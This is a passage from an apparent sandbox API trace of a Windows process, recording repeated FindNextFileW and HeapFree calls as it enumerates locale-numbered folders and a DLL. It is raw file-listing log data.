ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0105.978] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x430beb8 | out: hHeap=0x440000) returned 1 [0105.978] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfae48f06, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfae48f06, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfae6f174, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x174c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.dll", cAlternateFileName="REPORT~1.DLL")) returned 1 [0105.979] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x431bec0 | out: hHeap=0x440000) returned 1 [0105.979] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefee59ce, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefee59ce, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1026", cAlternateFileName="")) returned 1 [0105.979] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x431bec0 | out: hHeap=0x440000) returned 1 [0105.979] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1755c61, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1755c61, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1755c61, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="10266", cAlternateFileName="")) returned 1 [0106.302] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x431bec0 | out: hHeap=0x440000) returned 1 [0106.302] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4266542, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4266542, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4266542, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1027", cAlternateFileName="")) returned 1 [0106.302] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x431bec0 | out: hHeap=0x440000) returned 1 [0106.302] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xffd42fe2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffd42fe2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffd42fe2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1028", cAlternateFileName="")) returned 1 [0106.302] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x431bec0 | out: hHeap=0x440000) returned 1 [0106.302] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf632eb9d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf632eb9d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf632eb9d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1029", cAlternateFileName="")) returned 1 [0106.302] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x431bec0 | out: hHeap=0x440000) returned 1 [0106.303] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfaf7a22a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfaf7a22a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfaf7a22a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1030", cAlternateFileName="")) returned 1 [0106.303] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x431bec0 | out: hHeap=0x440000) returned 1 [0106.303] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x633d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x633d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x633d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1031", cAlternateFileName="")) returned 1 [0106.303] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x431bec0 | out: hHeap=0x440000) returned 1 [0106.303] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e6a31, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x51e6a31, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x51e6a31, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1032", cAlternateFileName="")) returned 1 [0106.303] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x431bec0 | out: hHeap=0x440000) returned 1 [0106.303] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42d8c51, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42fef17, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42fef17, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 1 [0106.303] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x431bec0 | out: hHeap=0x440000) returned 1 [0106.303] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a56cbe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a7cf13, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a7cf13, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1035", cAlternateFileName="")) returned 1 [0106.304] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x431bec0 | out: hHeap=0x440000) returned 1 [0106.304] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa911c96, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa911c96, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa911c96, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1036", cAlternateFileName="")) returned 1 [0106.304] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x431bec0 | out: hHeap=0x440000) returned 1 [0106.304] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67a8250, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67a8250, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67a8250, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1037", cAlternateFileName="")) returned 1 [0106.304] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x431bec0 | out: hHeap=0x440000) returned 1 [0106.304] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88e2fa3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x88e2fa3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x88e2fa3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1038", cAlternateFileName="")) returned 1 [0106.305] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x431bec0 | out: hHeap=0x440000) returned 1 [0106.305] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x381f2dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x381f2dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x381f2dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1040", cAlternateFileName="")) returned 1 [0106.305] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x431bec0 | out: hHeap=0x440000) returned 1 [0106.305] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6355df6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6355df6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6355df6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1041", cAlternateFileName="")) returned 1 [0106.305] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x431bec0 | out: hHeap=0x440000) returned 1 [0106.305] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf048f354, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf048f354, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf048f354, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1042", cAlternateFileName="")) returned 1 [0106.305] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x431bec0 | out: hHeap=0x440000) returned 1 [0106.305] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x303975a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x303975a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x303975a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1043", cAlternateFileName="")) returned 1 [0106.306] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x431bec0 | out: hHeap=0x440000) returned 1 [0106.306] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf61d7668, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61fd8b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61fd8b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1044", cAlternateFileName="")) returned 1 [0106.306] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x431bec0 | out: hHeap=0x440000) returned 1 [0106.306] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2ebae3b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf2ebae3b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf2ebae3b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1045", cAlternateFileName="")) returned 1 [0106.306] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x431bec0 | out: hHeap=0x440000) returned 1 [0106.306] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1887f3e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1887f3e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1887f3e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1046", cAlternateFileName="")) returned 1 [0106.306] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x431bec0 | out: hHeap=0x440000) returned 1 [0106.306] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5a8a2df, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5a8a2df, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5a8a2df, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1048", cAlternateFileName="")) returned 1 [0106.307] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x431bec0 | out: hHeap=0x440000) returned 1 [0106.307] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b87f8e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6b87f8e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b87f8e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1049", cAlternateFileName="")) returned 1 [0106.307] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x431bec0 | out: hHeap=0x440000) returned 1 [0106.307] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfcc62b13, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfcc62b13, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfcc62b13, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1050", cAlternateFileName="")) returned 1 [0106.307] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x431bec0 | out: hHeap=0x440000) returned 1 [0106.307] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x303975a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x303975a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x303975a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1051", cAlternateFileName="")) returned 1 [0106.307] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x431bec0 | out: hHeap=0x440000) returned 1 [0106.307] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6bd3439, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6bd3439, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6bd3439, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1053", cAlternateFileName="")) returned 1 [0106.308] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x431bec0 | out: hHeap=0x440000) returned 1 [0106.308] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf443017d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf443017d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf443017d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1054", cAlternateFileName="")) returned 1 [0106.308] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x431bec0 | out: hHeap=0x440000) returned 1 [0106.308] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0089415, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0089415, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1055", cAlternateFileName="")) returned 1 [0106.308] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x431bec0 | out: hHeap=0x440000) returned 1 [0106.308] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1057", cAlternateFileName="")) returned 1 [0106.308] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x431bec0 | out: hHeap=0x440000) returned 1 [0106.308] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1058", cAlternateFileName="")) returned 1 [0106.309] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x431bec0 | out: hHeap=0x440000) returned 1 [0106.309] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf99b89f6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf99b89f6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf99b89f6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1060", cAlternateFileName="")) returned 1 [0106.309] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x431bec0 | out: hHeap=0x440000) returned 1 [0106.309] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc2d943c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2d943c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2d943c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1061", cAlternateFileName="")) returned 1 [0106.309] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x431bec0 | out: hHeap=0x440000) returned 1 [0106.309] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1992fb3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992fb3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1992fb3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1062", cAlternateFileName="")) returned 1 [0106.310] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x431bec0 | out: hHeap=0x440000) returned 1 [0106.310] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56853a0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56853a0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56853a0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1063", cAlternateFileName="")) returned 1 [0106.310] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x431bec0 | out: hHeap=0x440000) returned 1 [0106.310] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf80d6078, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80d6078, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80d6078, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1066", cAlternateFileName="")) returned 1 [0106.310] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x431bec0 | out: hHeap=0x440000) returned 1 [0106.310] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xffe01c35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffe01c35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffe01c35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1069", cAlternateFileName="")) returned 1 [0106.310] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x431bec0 | out: hHeap=0x440000) returned 1 [0106.310] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5afc9d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5afc9d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5afc9d3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1081", cAlternateFileName="")) returned 1 [0106.311] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x431bec0 | out: hHeap=0x440000) returned 1 [0106.311] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a2268a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7abb0bc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7abb0bc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1086", cAlternateFileName="")) returned 1 [0106.311] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x431bec0 | out: hHeap=0x440000) returned 1 [0106.311] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6355df6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6355df6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6355df6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1087", cAlternateFileName="")) returned 1 [0106.311] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x431bec0 | out: hHeap=0x440000) returned 1 [0106.311] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x3cdeb94 | out: 